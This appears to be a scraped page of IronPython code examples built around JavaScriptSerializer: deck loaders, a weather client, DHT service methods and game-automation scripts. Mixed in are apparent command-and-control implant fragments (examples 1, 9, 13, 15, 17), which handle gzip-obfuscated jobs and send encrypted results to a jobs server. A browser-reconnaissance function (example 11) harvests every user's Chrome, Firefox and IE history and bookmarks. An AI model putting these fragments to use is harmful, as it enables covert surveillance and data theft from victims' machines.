Ejemplo n.º 1
0
    def post(self, url, payload='', json=None):
        r = WebRequest.Create(url)
        r.Method = "POST"
        #r.Accept = "application/json"
        if self.proxy_aware:
            r.Proxy = WebRequest.GetSystemWebProxy()
            r.Proxy.Credentials = CredentialCache.DefaultCredentials

        if json:
            r.ContentType = "application/json"
            if type(json) == dict:
                payload = JavaScriptSerializer().Serialize(json)
            elif hasattr(json, '__serialize__'):
                payload = JavaScriptSerializer().Serialize(
                    json.__serialize__())
            else:
                raise NotSerializable("{} object is not serializable".format(
                    type(json)))

        if len(payload):
            data = Encoding.ASCII.GetBytes(payload)
            r.ContentLength = data.Length
            requestStream = r.GetRequestStream()
            requestStream.Write(data, 0, data.Length)
            requestStream.Close()

        response = r.GetResponse()
        responseStream = StreamReader(response.GetResponseStream())
        return Response(responseStream.ReadToEnd())
Ejemplo n.º 2
0
def createAPICards(url):
    if "decklist/" in str(url):
        deckid = url.split("view/")[1].split("/")[0]
        data, code = webRead(
            "https://marvelcdb.com/api/public/decklist/{}".format(deckid))
    elif "deck/" in str(url):
        deckid = url.split("view/")[1].split("/")[0]
        data, code = webRead(
            "https://marvelcdb.com/api/public/deck/{}".format(deckid))
    if code != 200:
        whisper("Error retrieving online deck data, please try again.")
        return
    try:
        deckname = JavaScriptSerializer().DeserializeObject(data)["name"]
        deck = JavaScriptSerializer().DeserializeObject(data)["slots"]
        hero = JavaScriptSerializer().DeserializeObject(
            data)["investigator_code"]
        chars_to_remove = ['[', ']']
        rx = '[' + re.escape(''.join(chars_to_remove)) + ']'
        for id in deck:
            line = re.sub(rx, '', str(id))
            line = line.split(',')
            cardid = line[0]
            card = me.Deck.create(card_mapping[cardid], int(line[1].strip()))
            if card == None:
                whisper(
                    "Error loading deck: Unknown card found.  Please restart game and try a different deck."
                )
        me.Deck.create(card_mapping[hero])
        return deckname
    except ValueError:
        whisper(
            "Error retrieving online deck data, please try again. If you are trying to load a non published deck make sure you have edited your account to select 'Share Your Decks'"
        )
Ejemplo n.º 3
0
    def getServiceProvider(self, service_type, location):
        '''
            Returns a provider to a user if available and turns the providers
            available to False
        '''
        reply = {}
        available_providers = []

        try:
            #Get the providers that are registered under the mentioned service type
            providers = self.getProvidersForServiceTypes(service_type)

            if providers is not None:
                print("Providers found: {0} ".format(providers))
                providers = JavaScriptSerializer().DeserializeObject(providers)

                #Iterate through the providers to find a provider
                for service_id in providers:
                    print("Searching for service id {0} in the DHT. ".format(
                        service_id))

                    serviceObj = self.group.DHTGet[(str, str)](service_id)

                    #This check should be redundant unless there has been an issue with the DHT
                    if serviceObj is not None:
                        print("Found object for service id {0} in the DHT. ".
                              format(service_id))
                        serviceObj = JavaScriptSerializer().DeserializeObject(
                            serviceObj)

                        #If the provider is available and is in the requested location
                        #return to the user
                        if serviceObj["availability"] == 0 and serviceObj[
                                "location"] == location:
                            available_providers.append(dict(serviceObj))
                            print(
                                "Found matching service provider with name {0}"
                                .format(dict(serviceObj).get("name")))
                            print(json.dumps(available_providers))

            #Return dump of providers if they were found, else return with status 0
            if len(available_providers) > 0:
                reply = {"status": 0, "data": json.dumps(available_providers)}
            else:
                print(
                    "Could not find any providers for the service type {0} and location {1}"
                    .format(service_type, location))
                reply = {
                    "status":
                    1,
                    "message":
                    "Could not find any providers for the requested service type"
                }

        except Exception as e:
            reply = {"status": 1, "error": str(e)}

        return json.dumps(reply, indent=4, separators=(',', ': '))
Ejemplo n.º 4
0
    def deleteService(self, serviceID):
        '''
            Deletes the service details of the given service id
        '''
        try:
            serviceObj = self.group.DHTGet[(str, str)](serviceID)

            #If there is a corresponding service object for this id
            if serviceObj is not None:
                serviceObj = dict(
                    JavaScriptSerializer().DeserializeObject(serviceObj))
                serviceType = serviceObj.get("type")
                print("Service Type {0}".format(serviceType))

                #If there are any services registered for this type
                services = self.group.DHTGet[(str, str)](serviceType)
                if services is not None:
                    services = list(
                        JavaScriptSerializer().DeserializeObject(services))
                    print("List of services under {0} : {1}".format(
                        serviceType, json.dumps(services)))

                    #If the service id is registered under the type of service
                    if serviceID in services:
                        services.remove(serviceID)
                        self.group.DHTPut(serviceType, json.dumps(services))
                        return json.dumps({
                            'status': 0,
                            'message': 'Deleted details'
                        })
                    else:
                        return json.dumps({
                            'status':
                            1,
                            'message':
                            'Service ID not in service list'
                        })
                else:
                    return json.dumps({
                        'status':
                        1,
                        'message':
                        'No services found for this service type'
                    })
            else:
                return json.dumps({
                    'status':
                    1,
                    'message':
                    'No service object for given service id'
                })

        except Exception as e:
            return json.dumps({'status': 1, 'message': str(e)})
Ejemplo n.º 5
0
def loadDeck(group, x=0, y=0):
    mute()
    if not deckNotLoaded(group):
        confirm(
            "Cannot generate a deck: You already have cards loaded.  Reset the game in order to generate a new deck."
        )
        return
    choice = askChoice("What type of deck do you want to load?",
                       ["A random deck", "A registered deck"])

    if choice == 0: return
    if choice == 1:
        data, code = webRead("https://www.keyforgegame.com/api/decks/")
        count = JavaScriptSerializer().DeserializeObject(data)["count"]
        i = rnd(0, count)
        data, code = webRead(
            "https://www.keyforgegame.com/api/decks/?page={}&page_size=1".
            format(i))
        if code != 200:
            whisper("Error retrieving online deck data, please try again.")
            return
        deck = JavaScriptSerializer().DeserializeObject(data)["data"][0]
    elif choice == 2:
        url = askString("Please enter the URL of the deck you wish to load.",
                        "")
        if url == None: return
        if not "deck-details/" in url:
            whisper("Error: Invalid URL.")
            return
        guid = url.split("deck-details/")[1]
        data, code = webRead(
            "https://www.keyforgegame.com/api/decks/{}/".format(guid))
        if code != 200:
            whisper("Error retrieving online deck data, please try again.")
            return
        deck = JavaScriptSerializer().DeserializeObject(data)["data"]
    for id in deck["cards"]:
        card = me.Deck.create(id, 1)
        if card == None:
            whisper(
                "Error loading deck: Unknown card found.  Please restart game and try a different deck."
            )
    houses = deck["_links"]["houses"]
    notify('{} loaded deck "{}" ({})'.format(me, deck["name"],
                                             ", ".join(houses)))
    me.setGlobalVariable("houses", str(houses))
    me.Deck.shuffle()
    createKeys(deck, 0, -100 if me.isInverted else 100)
    def getWeather(self, sender, event):

        zipcode = self.textbox1.Text
        country = self.combobox1.Text
        appid = "get your own appid"

        uri = "http://api.openweathermap.org/data/2.5/weather?zip=" + zipcode + "," + country + "&APPID=" + appid
        request = HttpWebRequest.Create(uri)
        response = request.GetResponse()

        # the variable response now holds a JSON string.
        # in order to parse the JSON string, response has to first be converted into a "stream" using StreamReader()
        #   so it can then be deserialized using the JavaScriptSerializer() and converted into a dictionary.
        stream_reader = StreamReader(response.GetResponseStream())
        json_object = stream_reader.ReadToEnd()
        my_data = JavaScriptSerializer().DeserializeObject(json_object)

        # get the data from the dictionary and display it
        # this api returns temperature as KELVIN so it needs to be converted to FAHRENHEIT
        city = str(my_data['name'])
        temp_kelvin = float(my_data['main']['temp'])
        temp_fahrenheit = float((temp_kelvin - 273.15) * 1.8 + 32)

        self.textbox2.Text = "The temperature in " + city + " is " + str(
            temp_fahrenheit) + " F"

        pass
Ejemplo n.º 7
0
def SaveJson(path, config):
	tmp = JavaScriptSerializer().Serialize(config)
	buffer = ""
	
	inStr = False
	for s in tmp:
		if s == '"':
			inStr = not inStr
		
		if not inStr:
			if s == ',':
				s = s + '\n'
			if s == '{' or s == '[':
				s = s + '\n'
			if s == '}' or s == ']':
				s = '\n' + s
		buffer += s
		
	tmp = buffer
	buffer = ""
	indent = 0
	for s in tmp.split('\n'):
		if len(s) > 0 and (s[0] == '}' or s[0] == ']'):
			indent -= 1

		buffer += '  ' * indent + s + '\n'

		if len(s) > 0 and (s[-1] == '{' or s[-1] == '['):
			indent += 1

	sw = StreamWriter(path, False, Encoding.GetEncoding("UTF-8"));
	sw.Write(buffer);
	sw.Close();
Ejemplo n.º 8
0
    def getUserToken(self, username):
        '''
            Returns the token of the user if one has been registered
        '''
        try:
            userObj = self.group.DHTGet[(str, str)](username)
            if userObj is not None:
                userObj = dict(
                    JavaScriptSerializer().DeserializeObject(userObj))
                token = userObj.get("token", None)

                if token is not None:
                    return json.dumps({'status': 0, 'token': token})
                else:
                    json.dumps({
                        'status': 1,
                        'message': 'Could not find user token'
                    })
            else:
                return json.dumps({
                    'status': 1,
                    'message': 'Could not find user data'
                })

        except Exception as e:
            return json.dumps({'status': 1, 'message': str(e)})
Ejemplo n.º 9
0
    def encode_job(self, job):
        random_bytes = Array.CreateInstance(Byte, 2)
        Random().NextBytes(random_bytes)

        data = Encoding.UTF8.GetBytes(JavaScriptSerializer().Serialize(job))
        with MemoryStream(data.Length) as initialStream:
            initialStream.Write(data, 0, data.Length)
            initialStream.Seek(0, SeekOrigin.Begin)
            with MemoryStream() as resultStream:
                with GZipStream(resultStream,
                                CompressionMode.Compress) as zipStream:
                    buffer = Array.CreateInstance(Byte, 4096)
                    bytesRead = initialStream.Read(buffer, 0, buffer.Length)
                    zipStream.Write(buffer, 0, bytesRead)
                    while bytesRead != 0:
                        bytesRead = initialStream.Read(buffer, 0,
                                                       buffer.Length)
                        zipStream.Write(buffer, 0, bytesRead)

                result = resultStream.ToArray()
                result[:2] = random_bytes
                return {
                    Convert.ToBase64String(Guid.NewGuid().ToByteArray()).Substring(
                        0, 8):
                    Convert.ToBase64String(Guid.NewGuid().ToByteArray()),
                    "data":
                    Convert.ToBase64String(result)
                }
Ejemplo n.º 10
0
 def sendTelemetry(self, telem):
     try:
         telem = str(JavaScriptSerializer().Serialize(telem))
         telem = "telem@" + telem
         telem = telem.encode('utf-8')
         self.s.send(telem)
     except:
         print('sendTelemetry - Exception')
Ejemplo n.º 11
0
def browserEnum():
    summary = printHeader("BROWSER ENUM")
    regex = Regex('(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?')

    #Active IE Urls
    summary += printSubheader("ACTIVE EXPLORER URLS")
    app = Activator.CreateInstance(Type.GetTypeFromProgID("Shell.Application"))
    summary += "\n".join([w.LocationUrl() for w in app.Windows()])

    #Chrome History
    summary += printSubheader("\n\nChrome History")
    try:
        cHistPath = "{0}\Users\{1}\AppData\Local\Google\Chrome\User Data\Default\History".format(Env.GetEnvironmentVariable("systemdrive"), Env.UserName)
        cHist = open(cHistPath, "r").read()
        summary += "\n".join(["[*] {0}\n".format(m.Value) for m in regex.Matches(cHist)][-10:])
    except:
        pass

    summary += printSubheader("\nChrome Bookmarks")
    #Chrome Bookmarks
    try:
        cBMPath = "{0}\Users\{1}\AppData\Local\Google\Chrome\User Data\Default\Bookmarks".format(Env.GetEnvironmentVariable("systemdrive"), Env.UserName)
        js = JavaScriptSerializer()
        cBM = js.DeserializeObject(open(cBMPath, "r").read())
        urls = cBM["roots"]["bookmark_bar"]["children"]
        for url in urls:
            u = url['url']
            d = url['name']
            summary += "[*] {0}\n{1}\n\n".format(d, u)
    except:
        pass

    summary += printSubheader("Firefox History")
    #Firefox History
    try:
        regex = Regex('(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?')
        fHistPath = "{0}\Users\{1}\AppData\Roaming\Mozilla\Firefox\Profiles".format(Env.GetEnvironmentVariable("systemdrive"), Env.UserName)
        for path in DirectoryInfo(fHistPath).EnumerateDirectories("*.default"):
            places = open(path.FullName + "\places.sqlite", "r").read()
            summary += "\n".join(["[*] {0}\n".format(m.Value) for m in regex.Matches(places)][:10])
    except:
        pass

    summary += printSubheader("IE History")
    typedUrlPath = "\Software\Microsoft\Internet Explorer\TypedURLs"
    for sid in Registry.Users.GetSubKeyNames():
        if sid != ".DEFAULT" and not sid.endswith("Classes"):
            try:
                typedUrlsKey = Registry.Users.OpenSubKey(sid + typedUrlPath)
                if typedUrlsKey != None:
                    summary += "[{0}][{1}]\n".format(sid, SecurityIdentifier(sid.ToString()).Translate(NTAccount))
                    for value in typedUrlsKey.GetValueNames():
                        summary += "\t{0}\n".format(typedUrlsKey.GetValue(value))
                summary += "\n"
            except SystemError:
                pass

    return summary    
Ejemplo n.º 12
0
def start_mining_work():
    global Using_Rail
    global Rail_Name
    global Currently_Mining

    #
    tool = get_tool()
    storage_bag = get_storage()
    #

    if not storage_bag:
        Player.HeadMessage(11, "No storage found.")
        sys.exit()

    #
    if not Using_Rail:
        Misc.SendMessage("Stationary Mining.")
        mine_spot(tool, storage_bag)
        store_ore(storage_bag)
        Player.HeadMessage(11, "Done with stationary mining.")
        sys.exit()
    #

    #
    try:
        rail_file_name = "Data/Rails/" + Rail_Name + ".txt"
        rail_file = open(rail_file_name, "r")
        rail_data_json = rail_file.read()
        rail_locations = JavaScriptSerializer().Deserialize(
            rail_data_json, list)
        rail_file.close()
        end = not rail_locations
        #
        # Repeats visiting and mining at all rail stops
        while True:
            if end:
                sys.exit()
            #

            # Traverse to all rail stops and mines
            for location in rail_locations:
                #
                if not Currently_Mining:
                    sys.exit()
                #

                # Go to next stop
                gotoLocation(location[0], location[1])
                Misc.Pause(500)
                check_weight(storage_bag)
                mine_spot(tool, storage_bag)
                store_ore(storage_bag)
    #
    except Exception as e:
        Player.HeadMessage(11, "Unable to traverse rail.")
Ejemplo n.º 13
0
    def send_job_results(self, results, job_id):
        self.key_exchange()

        if type(results) == dict:
            results = JavaScriptSerializer().Serialize(results)
        elif hasattr(results, '__serialize__'):
            results = JavaScriptSerializer().Serialize(results.__serialize__())

        encrypted_results = self.crypto.Encrypt(results)
        job_url = Uri(urljoin(self.jobs_url, job_id))

        while True:
            try:
                self.requests.post(job_url, payload=encrypted_results)
                return
            except Exception as e:
                if DEBUG:
                    print "Error performing sending job results: " + str(e)
                    print_traceback()

            Thread.Sleep(self.client.SLEEP)
    def resCount(self):
        items = [i for i in Player.Backpack.Contains]
        messages = RESOURCES.add_all(items)

        if messages and len(messages) > 0:
            Misc.SendMessage('--> Counters:', 77)
            for message in messages:
                Misc.SendMessage('--> ' + message, 77)

        with open(res_path, 'w') as f:
            res_dict = RESOURCES.to_config()
            f.write(JavaScriptSerializer.Serialize(JavaScriptSerializer(), res_dict))
Ejemplo n.º 15
0
 def decode_job(self, job):
     buffer = Convert.FromBase64String(job['data'])
     buffer[:2] = Array[Byte](bytearray(b"\x1f\x8b"))
     with MemoryStream(buffer.Length) as compressedStream:
         compressedStream.Write(buffer, 0, buffer.Length)
         compressedStream.Seek(0, SeekOrigin.Begin)
         with GZipStream(compressedStream,
                         CompressionMode.Decompress) as zipStream:
             with MemoryStream() as resultStream:
                 zipStream.CopyTo(resultStream)
                 return JavaScriptSerializer().DeserializeObject(
                     Encoding.UTF8.GetString(resultStream.ToArray()))
Ejemplo n.º 16
0
def rsnrequest():
    request = WebRequest.Create(file_link)
    request.Method = "GET"
    request.UserAgent = "Anything"
    # Token scenario for closed repositories
    #token = ''
    #request.Headers["OAUTH-TOKEN"] = token
    rsp = request.GetResponse()
    stream_reader = StreamReader(rsp.GetResponseStream())
    jsonData = stream_reader.ReadToEnd()
    stream_reader.Close()
    json = JavaScriptSerializer().DeserializeObject(jsonData)
    return json
Ejemplo n.º 17
0
    def get_job(self):
        self.key_exchange()

        while True:
            try:
                job = self.requests.get(self.jobs_url).bytes
                if len(job):
                    return JavaScriptSerializer().DeserializeObject(
                        Encoding.UTF8.GetString(self.crypto.Decrypt(job)))
                return
            except Exception as e:
                if DEBUG:
                    print "Error performing getting jobs: " + str(e)
                    print_traceback()

            Thread.Sleep(self.client.SLEEP)
Ejemplo n.º 18
0
 def registerUserToken(self, username, userType, token):
     '''
         Adds a new or replaces a token if the user exists, else returns a status 1
     '''
     userObj = self.group.DHTGet[(str, str)](username)
     if userObj is not None:
         userObj = dict(JavaScriptSerializer().DeserializeObject(userObj))
         userObj["token"] = token
         self.group.DHTPut(username, json.dumps(userObj))
         return json.dumps({
             'status': 0,
             'message': 'Added latest token for user'
         })
     else:
         return json.dumps({
             'status': 1,
             'message': 'Username does not exist'
         })
Ejemplo n.º 19
0
    def authUser(self, username, password, userType):
        '''
            Receives a call from the VSync method to verify user credentials in
            the DHT
        '''
        print "VSync call to DHT to verify user credentials {0} {1} {2}".format(
            username, password, userType)

        userObj = self.group.DHTGet[(str, str)](username)
        if userObj is not None:
            userObj = dict(JavaScriptSerializer().DeserializeObject(userObj))
            if userObj.get("password") == password and userObj.get(
                    "userType") == userType:
                return json.dumps({'status': 0, 'message': 'Login Success'})
            else:
                return json.dumps({'status': 1, 'message': 'Login Invalid'})
        else:
            return json.dumps({'status': 1, 'message': 'User Not Exist'})
Ejemplo n.º 20
0
def scrapeFromEH(gid, token):
  parm = '{"method":"gdata","gidlist":[[' + gid + ',"' + token + '"]],"namespace":1}'

  req = WebRequest.Create("https://e-hentai.org/api.php")
  req.Method = "POST"
  req.ContentType = "application/x-www-form-urlencoded"
  req.UserAgent = "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Mobile Safari/537.36"

  parmBytes = Encoding.ASCII.GetBytes(parm)
  req.ContentLength = parmBytes.Length
  reqStream = req.GetRequestStream()
  reqStream.Write(parmBytes, 0, parmBytes.Length)
  reqStream.Close()

  response = req.GetResponse()
  result = StreamReader(response.GetResponseStream()).ReadToEnd()
  data = dict(JavaScriptSerializer().DeserializeObject(result))
  data = dict(data['gmetadata'][0])
  return data
Ejemplo n.º 21
0
 def changeServiceAvailability(self, service_id):
     '''
         Toggles the availability of the service
     '''
     serviceObj = self.group.DHTGet[(str, str)](service_id)
     if serviceObj is not None:
         print("Found object for service id {0} in the DHT. ".format(
             service_id))
         serviceObj = dict(
             JavaScriptSerializer().DeserializeObject(serviceObj))
         availability = serviceObj.get("availability")
         serviceObj["availability"] = 0 if availability == 1 else 1
         print("Toggled the availability")
         self.group.DHTPut(service_id, json.dumps(serviceObj))
         return json.dumps({
             'status': 0,
             'message': 'Availability has been changed'
         })
     else:
         return json.dumps({
             'status': 1,
             'message': 'Service ID does not exist'
         })
Ejemplo n.º 22
0
    def putService(self, key, value):
        '''
            Puts the key and value in to the DHT depending on the parameters
        '''
        #If the key is in the list of services, it means this is a call to add
        #a service ID under its service name
        if key in self.services:
            serviceIDs = self.getProvidersForServiceTypes(key)

            #If this is the first time a service is being registered under this type
            #create a new list, else append to the list and put in the DHT
            if serviceIDs is None:
                print("First entry for {0} is service id: {1}".format(
                    key, value))
                serviceIDs = [value]
            else:
                serviceIDs = JavaScriptSerializer().DeserializeObject(
                    serviceIDs)
                serviceIDs = list(serviceIDs)
                serviceIDs.append(value)
                print("Appending entry {0} in service type: {1}".format(
                    value, key))

            #Add the current service id under the list of services for its category
            self.group.DHTPut(key, json.dumps(serviceIDs))

            return "Service ID {0} added to list of {1}".format(value, key)

        #The key-value pair passed in is the service id and the corresponding
        #service object
        else:
            self.group.DHTPut(key, value)
            print(
                "Information about Service ID {0} has been stored in the DHT {1}"
                .format(key, value))
            return "Information about Service ID {0} has been stored in the DHT {1}".format(
                key, value)
Ejemplo n.º 23
0
    def getServiceProviderTokenFromServiceID(self, serviceID):
        '''
            Returns the username of the service provider of the passed in service ID
        '''
        try:
            serviceObj = self.group.DHTGet[(str, str)](serviceID)

            #If there is a corresponding service object for this id
            if serviceObj is not None:
                serviceObj = dict(
                    JavaScriptSerializer().DeserializeObject(serviceObj))
                username = serviceObj.get("username", None)
                print("Username of provider {0}".format(username))
                return self.getUserToken(username)
            else:
                return json.dumps({
                    'status':
                    1,
                    'message':
                    'No service object for given service id'
                })

        except Exception as e:
            return json.dumps({'status': 1, 'message': str(e)})
Ejemplo n.º 24
0
def readjson(jsonfile):
    datastring = File.ReadAllText(jsonfile)
    json_dict = JavaScriptSerializer().DeserializeObject(datastring)

    return json_dict
Ejemplo n.º 25
0
def write_json(metadata, jsonfile='Metadata.json', savepath=r'C:\Temp'):
    jsonfile = Path.Combine(savepath, jsonfile)
    js = JavaScriptSerializer().Serialize(metadata)
    File.WriteAllText(jsonfile, js)

    return jsonfile
Ejemplo n.º 26
0
 def json(self):
     return JavaScriptSerializer().DeserializeObject(self.text)
 def __init__(self):
     json = open(self.CounterPath, 'r').read()
     self.Counters = JavaScriptSerializer().DeserializeObject(json)
     
     json = open(self.OptPath, 'r').read()
     self.Opt = JavaScriptSerializer().DeserializeObject(json)
Ejemplo n.º 28
0
from System.IO import StreamReader, Directory
from System.Text import UTF8Encoding
# from System.Net import WebRequest
# from System.Text import Encoding

clr.AddReference("Ionic.Zip.dll")
from Ionic.Zip import ZipFile

clr.AddReference('System.Web.Extensions')
from System.Web.Script.Serialization import JavaScriptSerializer

_dir = Directory.GetParent(__file__).FullName
EHT_File = open(_dir + '\\EHT.json', 'r')
EHT = EHT_File.read()
EHT_File.close()
EHT = dict(JavaScriptSerializer().DeserializeObject(EHT))['dataset']

def EH_Scraper(books):
  for book in books:
    # ((cYo.Projects.ComicRack.Engine.ComicBook)book).FileLocation
    with ZipFile.Read(book.FileLocation) as zipfile:
      for i in zipfile.Entries:
        if re.search('info.txt', i.FileName):
          infoFile = i.FileName
          with StreamReader(zipfile[infoFile].OpenReader(), UTF8Encoding) as stream:
            contents = stream.ReadToEnd()
            info = parseInfoContent(contents)
            try:
              info = parseInfoContent(contents)
            except:
              print
 def SaveSpots(self):
     if self.Spots != self.m_Spots:
         open(self.SpotPath, 'w').write(JavaScriptSerializer().Serialize(self.Spots))
 def SaveCount(self):
     open(self.CounterPath, 'w').write(JavaScriptSerializer().Serialize(self.Counters))